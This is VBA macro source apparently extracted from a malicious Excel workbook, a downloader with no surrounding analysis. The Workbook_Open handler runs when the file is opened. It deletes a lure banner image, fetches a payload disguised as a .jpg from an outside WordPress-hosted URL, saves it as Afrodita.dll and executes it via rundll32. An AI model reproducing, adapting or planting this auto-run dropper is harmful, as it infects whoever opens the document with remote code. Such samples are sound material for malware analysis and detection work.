Attribute VB_Name = "Module1"
Sub Execute()

    Dim wsh As Object
    Set wsh = VBA.CreateObject("WScript.Shell")
    Dim waitOnReturn As Boolean: waitOnReturn = False
    Dim windowStyle As Integer: windowStyle = 1

    wsh.Run "rundll32.exe Afrodita.dll,Sura", windowStyle, waitOnReturn

End Sub

Attribute VB_Name = "Module2"
Sub RemoveBanner()
Attribute RemoveBanner.VB_ProcData.VB_Invoke_Func = " \n14"
'
' RemoveBanner Macro
'

'
    ActiveSheet.Shapes.Range(Array("Picture 2")).Select
    Selection.Delete
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
    Call RemoveBanner
    
    Dim myURL As String
    Dim appdata As String
    Dim wstring As String
    
    myURL = "http://riskpartner.hr/wp-content/notnice.jpg"
    appdata = CStr(Environ("USERPROFILE") & "\Application Data")
    wstring = "Afrodita.dll"


    Dim WinHttpReq As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", myURL, False, "username", "password"
    WinHttpReq.send

    myURL = WinHttpReq.responseBody
    
    If WinHttpReq.Status = 200 Then
        Set oStream = CreateObject("ADODB.Stream")
        oStream.Open
        oStream.Type = 1
        oStream.Write WinHttpReq.responseBody
        oStream.SaveToFile wstring, 2 ' 1 = no overwrite, 2 = overwrite
        oStream.Close
    End If

    Call Execute
    
End Sub